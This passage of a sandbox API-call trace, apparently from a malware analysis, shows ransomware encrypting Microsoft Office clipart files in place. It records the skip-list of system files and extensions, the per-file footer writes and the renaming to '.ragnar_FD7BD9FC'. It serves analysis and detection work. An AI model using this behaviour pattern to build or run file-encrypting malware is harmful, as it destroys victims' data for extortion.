1 [0083.345] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.345] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.346] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.346] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.346] GetProcessHeap () returned 0x580000 [0083.346] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.346] CloseHandle (hObject=0xf4) returned 1 [0083.346] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" [0083.346] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.ragnar_FD7BD9FC" [0083.346] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.346] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0083.346] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.346] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099196.GIF" | out: lpString1="J0099196.GIF") returned="J0099196.GIF" [0083.346] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned=".GIF" [0083.346] lstrcmpiW (lpString1="J0099196.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.346] lstrcmpiW (lpString1="J0099196.GIF", lpString2="autorun.inf") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="boot.ini") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="bootfont.bin") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="bootsect.bak") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="bootmgr") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="bootmgr.efi") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="bootmgfw.efi") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="desktop.ini") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="iconcache.db") returned 1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="ntldr") returned -1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="ntuser.dat") returned -1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="ntuser.dat.log") returned -1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="ntuser.ini") returned -1 [0083.347] lstrcmpiW (lpString1="J0099196.GIF", lpString2="thumbs.db") returned -1 [0083.347] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.347] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.347] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.347] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.347] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.347] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.347] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 0x20 [0083.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.348] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14337) returned 1 [0083.348] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.348] GetProcessHeap () returned 0x580000 [0083.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.348] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.359] VirtualAlloc (lpAddress=0x0, dwSize=0x3801, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.359] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.359] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.359] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3801, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3801, lpOverlapped=0x0) returned 1 [0083.360] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.360] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3801, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.360] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3801, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3801, lpOverlapped=0x0) returned 1 [0083.361] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3801, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.361] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.361] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3801, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.361] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.361] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.361] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.361] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.361] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.361] GetProcessHeap () returned 0x580000 [0083.361] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.361] CloseHandle (hObject=0xf4) returned 1 [0083.361] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" [0083.361] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.ragnar_FD7BD9FC" [0083.362] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.362] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0083.362] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.362] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099197.GIF" | out: lpString1="J0099197.GIF") returned="J0099197.GIF" [0083.362] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned=".GIF" [0083.362] lstrcmpiW (lpString1="J0099197.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.362] lstrcmpiW (lpString1="J0099197.GIF", lpString2="autorun.inf") returned 1 [0083.362] lstrcmpiW (lpString1="J0099197.GIF", lpString2="boot.ini") returned 1 [0083.362] lstrcmpiW (lpString1="J0099197.GIF", lpString2="bootfont.bin") returned 1 [0083.362] lstrcmpiW (lpString1="J0099197.GIF", lpString2="bootsect.bak") returned 1 [0083.362] lstrcmpiW (lpString1="J0099197.GIF", lpString2="bootmgr") returned 1 [0083.362] lstrcmpiW (lpString1="J0099197.GIF", lpString2="bootmgr.efi") returned 1 [0083.362] lstrcmpiW (lpString1="J0099197.GIF", lpString2="bootmgfw.efi") returned 1 [0083.363] lstrcmpiW (lpString1="J0099197.GIF", lpString2="desktop.ini") returned 1 [0083.363] lstrcmpiW (lpString1="J0099197.GIF", lpString2="iconcache.db") returned 1 [0083.363] lstrcmpiW (lpString1="J0099197.GIF", lpString2="ntldr") returned -1 [0083.363] lstrcmpiW (lpString1="J0099197.GIF", lpString2="ntuser.dat") returned -1 [0083.363] lstrcmpiW (lpString1="J0099197.GIF", lpString2="ntuser.dat.log") returned -1 [0083.363] lstrcmpiW (lpString1="J0099197.GIF", lpString2="ntuser.ini") returned -1 [0083.363] lstrcmpiW (lpString1="J0099197.GIF", lpString2="thumbs.db") returned -1 [0083.363] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.363] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.363] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.363] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.363] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.363] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.363] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 0x20 [0083.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.363] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10898) returned 1 [0083.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.363] GetProcessHeap () returned 0x580000 [0083.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.363] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.365] VirtualAlloc (lpAddress=0x0, dwSize=0x2a92, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.365] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a92, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a92, lpOverlapped=0x0) returned 1 [0083.366] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.366] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a92, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.366] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a92, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a92, lpOverlapped=0x0) returned 1 [0083.366] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.366] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.367] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.367] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.367] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.367] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.367] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.367] GetProcessHeap () returned 0x580000 [0083.367] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.367] CloseHandle (hObject=0xf4) returned 1 [0083.367] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" [0083.367] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.ragnar_FD7BD9FC" [0083.367] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.368] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0083.368] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.368] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099198.GIF" | out: lpString1="J0099198.GIF") returned="J0099198.GIF" [0083.368] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned=".GIF" [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="autorun.inf") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="boot.ini") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="bootfont.bin") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="bootsect.bak") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="bootmgr") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="bootmgr.efi") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="bootmgfw.efi") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="desktop.ini") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="iconcache.db") returned 1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="ntldr") returned -1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="ntuser.dat") returned -1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="ntuser.dat.log") returned -1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="ntuser.ini") returned -1 [0083.368] lstrcmpiW (lpString1="J0099198.GIF", lpString2="thumbs.db") returned -1 [0083.368] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.368] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.368] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.368] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.368] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.368] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.368] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 0x20 [0083.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.369] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5259) returned 1 [0083.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1482, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.369] GetProcessHeap () returned 0x580000 [0083.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.369] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.370] VirtualAlloc (lpAddress=0x0, dwSize=0x148b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.371] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x148b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x148b, lpOverlapped=0x0) returned 1 [0083.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x148b, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.372] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x148b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x148b, lpOverlapped=0x0) returned 1 [0083.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x148b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.372] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x148b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.372] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.372] GetProcessHeap () returned 0x580000 [0083.372] HeapFree (in: hHeap=0x580000, dwFlags=0x1, 